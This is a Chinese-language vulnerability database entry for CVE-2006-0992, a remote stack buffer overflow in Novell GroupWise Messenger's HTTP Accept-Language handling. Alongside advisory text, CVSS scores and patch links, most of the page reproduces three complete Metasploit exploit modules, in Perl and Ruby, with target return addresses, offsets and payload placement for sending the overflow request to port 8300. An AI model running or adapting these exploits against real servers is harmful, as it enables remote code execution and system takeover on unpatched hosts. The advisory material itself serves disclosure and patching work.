CVE-2006-0992
CVSS10.0
发布时间 :2006-04-14 06:02:00
修订时间 :2011-03-07 21:31:32
NMCOEPS    

[原文]Stack-based buffer overflow in Novell GroupWise Messenger before 2.0 Public Beta 2 allows remote attackers to execute arbitrary code via a long Accept-Language value without a comma or semicolon. NOTE: due to a typo, the original ZDI advisory accidentally referenced CVE-2006-0092. This is the correct identifier.


[CNNVD]Novell GroupWise Messenger Accept-Language字段远程缓冲区溢出漏洞(CNNVD-200604-223)

        Novell GroupWise Messenger是一款基于GroupWise平台的即时交流工具。
        Novell GroupWise Agent在处理还有畸形HTTP字段数据时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
        GroupWise Messenger的Web Server监听于TCP/8300端口,其在处理HTTP协议头的超长的Accept-Language字段数据时存在缓冲区溢出,远程攻击者可以利用此漏洞在系统上执行任意指令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0992
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0992
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-223
(官方数据源) CNNVD

- 其它链接及资源

http://www.zerodayinitiative.com/advisories/ZDI-06-008.html
(VENDOR_ADVISORY)  MISC  http://www.zerodayinitiative.com/advisories/ZDI-06-008.html
http://www.securityfocus.com/bid/17503
(PATCH)  BID  17503
http://support.novell.com/cgi-bin/search/searchtid.cgi?10100861.htm
(PATCH)  CONFIRM  http://support.novell.com/cgi-bin/search/searchtid.cgi?10100861.htm
http://www.vupen.com/english/advisories/2006/1355
(UNKNOWN)  VUPEN  ADV-2006-1355
http://www.securityfocus.com/archive/1/archive/1/430911/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060413 ZDI-06-008: Novell GroupWise Messenger Accept-Language Buffer Overflow
http://xforce.iss.net/xforce/xfdb/25828
(UNKNOWN)  XF  groupwise-accept-language-bo(25828)
http://www.osvdb.org/24617
(UNKNOWN)  OSVDB  24617
http://www.milw0rm.com/exploits/1679
(UNKNOWN)  MILW0RM  1679
http://securitytracker.com/id?1015911
(UNKNOWN)  SECTRACK  1015911
http://secunia.com/advisories/19663
(UNKNOWN)  SECUNIA  19663
http://metasploit.blogspot.com/2006/04/exploit-development-groupwise_14.html
(UNKNOWN)  MISC  http://metasploit.blogspot.com/2006/04/exploit-development-groupwise_14.html
http://cirt.dk/advisories/cirt-42-advisory.txt
(UNKNOWN)  MISC  http://cirt.dk/advisories/cirt-42-advisory.txt

- 漏洞信息

Novell GroupWise Messenger Accept-Language字段远程缓冲区溢出漏洞
危急 缓冲区溢出
2006-04-14 00:00:00 2006-04-15 00:00:00
远程  
        Novell GroupWise Messenger是一款基于GroupWise平台的即时交流工具。
        Novell GroupWise Agent在处理还有畸形HTTP字段数据时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
        GroupWise Messenger的Web Server监听于TCP/8300端口,其在处理HTTP协议头的超长的Accept-Language字段数据时存在缓冲区溢出,远程攻击者可以利用此漏洞在系统上执行任意指令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://support.novell.com/security-alerts

- 漏洞信息 (1679)

Novell Messenger Server 2.0 (Accept-Language) Remote Overflow Exploit (EDBID:1679)
novell remote
2006-04-15 Verified
8300 H D Moore
N/A [点击下载]
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::novell_messenger_acceptlang;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'    => 'Novell Messenger Server 2.0 Accept-Language Overflow',
	'Version' => '$Revision: 1.5 $',
	'Authors' => [ 'H D Moore <hdm[at]metasploit.com>' ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
	'Priv'  => 1,

	'AutoOpts'  =>  { 'EXITFUNC' => 'process' },

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 8300 ],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Payload' =>
	  {
		'Space'     => 500, 
		'BadChars'  => "\x00\x0a\x2c\x3b".join("", ("A".."Z")), # data is downcased
		'Keys' 	    => ['+ws2ord'],
		'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",  # add esp, -3500
	  },

	'Description'  => Pex::Text::Freeform(qq{
		This module exploits a stack overflow in Novell GroupWise
	Messenger Server v2.0. This flaw is triggered by any HTTP
	request with an Accept-Language header greater than 16 bytes.
	To overwrite the return address on the stack, we must first
	pass a memcpy() operation that uses pointers we supply. Due to the
	large list of restricted characters and the limitations of the current
	encoder modules, very few payloads are usable. The 'known good' set
	includes win32_adduser, win32_exec, and win32_reverse_ord;

}),

	'Refs'  =>
	  [
	  	['OSVDB', '24617'],
	  	['BID', '17503'],
		['CVE', '2006-0992'],
	  ],

	'Targets' =>
	  [
		[ 'Groupwise Messenger DClient.dll v10510.37', 0x6103c3d3, 0x61041001 ] # .data | jmp esp
	  ],

	'Keys'  => ['groupwise'],

	'DisclosureDate' => 'Apr 13 2005',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self        = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ( $s->IsError ) {
		$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
		return;
	}

	my $pattern = Pex::Text::AlphaNumText(1900);
	substr($pattern, 16, 4,  pack('V', $target->[2])); # SRC
	substr($pattern, 272, 4, pack('V', $target->[2])); # DST
	substr($pattern, 264, 4, pack('V', $target->[1])); # JMP ESP
	substr($pattern, 268, 2, "\xeb\x06"); # JMP +6	
	substr($pattern, 276, length($shellcode), $shellcode);

	my $request =
	  "GET / HTTP/1.1\r\n".
	  "Accept-Language: $pattern\r\n".
	  "\r\n";
	
	$s->Send($request);

	$self->PrintLine("[*] Overflow request sent...");

	$self->Handler($s);
	return;
}

1; 

# milw0rm.com [2006-04-15]
		

- 漏洞信息 (16757)

Novell Messenger Server 2.0 Accept-Language Overflow (EDBID:16757)
windows remote
2010-09-20 Verified
8300 metasploit
N/A [点击下载]
##
# $Id: novell_messenger_acceptlang.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell Messenger Server 2.0 Accept-Language Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Novell GroupWise
				Messenger Server v2.0. This flaw is triggered by any HTTP
				request with an Accept-Language header greater than 16 bytes.
				To overwrite the return address on the stack, we must first
				pass a memcpy() operation that uses pointers we supply. Due to the
				large list of restricted characters and the limitations of the current
				encoder modules, very few payloads are usable.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2006-0992'],
					['OSVDB', '24617'],
					['BID', '17503'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'           => 500,
					'BadChars'        => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Groupwise Messenger DClient.dll v10510.37', { 'Rets' =>  [0x6103c3d3, 0x61041010] }],
				],
			'DisclosureDate' => 'Apr 13 2006'))

		register_options( [ Opt::RPORT(8300) ], self.class )
	end

	def exploit
		connect

		lang = rand_text_alphanumeric(1900)
		lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
		lang[272, 4] = [target['Rets'][1]].pack('V') # DST
		lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
		lang[268, 2] = "\xeb\x06"
		lang[276, payload.encoded.length] = payload.encoded

		res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"

		print_status("Trying target address 0x%.8x..." % target['Rets'][0])
		sock.put(res)
		sock.close

		handler
		disconnect
	end

end
		

- 漏洞信息 (F83166)

Novell Messenger Server 2.0 Accept-Language Overflow (PacketStormID:F83166)
2009-11-26 00:00:00
H D Moore  metasploit.com
exploit,web,overflow
CVE-2006-0992
[点击下载]

This Metasploit module exploits a stack overflow in Novell GroupWise Messenger Server v2.0. This flaw is triggered by any HTTP request with an Accept-Language header greater than 16 bytes. To overwrite the return address on the stack, we must first pass a memcpy() operation that uses pointers we supply. Due to the large list of restricted characters and the limitations of the current encoder modules, very few payloads are usable.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Novell Messenger Server 2.0 Accept-Language Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in Novell GroupWise
				Messenger Server v2.0. This flaw is triggered by any HTTP
				request with an Accept-Language header greater than 16 bytes.
				To overwrite the return address on the stack, we must first
				pass a memcpy() operation that uses pointers we supply. Due to the
				large list of restricted characters and the limitations of the current
				encoder modules, very few payloads are usable. 	
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2006-0992'],
	  				['OSVDB', '24617'],
	  				['BID', '17503'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'           => 500, 
					'BadChars'        => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Groupwise Messenger DClient.dll v10510.37', { 'Rets' =>  [0x6103c3d3, 0x61041010] }],
				],
			'DisclosureDate' => 'Apr 13 2006'))
			
			register_options( [ Opt::RPORT(8300) ], self.class )
	end

	def exploit
		connect

		lang = rand_text_alphanumeric(1900)
		lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
		lang[272, 4] = [target['Rets'][1]].pack('V') # DST
		lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
		lang[268, 2] = "\xeb\x06"
		lang[276, payload.encoded.length] = payload.encoded
		
		res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"
		
		print_status("Trying target address 0x%.8x..." % target['Rets'][0])
		sock.put(res)
		sock.close
		
		handler
		disconnect
	end

end
    

- 漏洞信息

24617
Novell GroupWise Messenging Agent Accept-Language Header Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Private, Exploit Commercial Vendor Verified

- 漏洞描述

A remote overflow exists in Novell GroupWise Messenger. The Novell Messaging Agent service fails to check length during the parsing of long parameters within the Accept-Language header resulting in a stack-based buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution in the context of SYSTEM or superuser.

- 时间线

2006-04-13 2006-03-16
2006-04-15 2006-04-13

- 解决方案

Upgrade to GroupWise Messenger version 2.0 Public Beta 2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Novell GroupWise Messenger Accept Language Remote Buffer Overflow Vulnerability
Boundary Condition Error 17503
Yes No
2006-04-13 12:00:00 2007-11-02 11:56:00
Discovered by CIRT.DK.

- 受影响的程序版本

Novell GroupWise Messenger 2.0

- 漏洞讨论

Novell GroupWise Messenger is prone to a remote buffer-overflow vulnerability.


The vulnerability affects the Novell Messaging Agent component and arises when the server handles an 'Accept-Language' header containing excessive data.

A successful attack may lead to arbitrary code execution in the context of SYSTEM or superuser.

Novell GroupWise Messenger 2.0 is vulnerable to this issue.

- 漏洞利用

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

Exploit code is available.

- 解决方案

The vendor has released an advisory and fixes to address this issue. Please see the references for more information and fixes.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站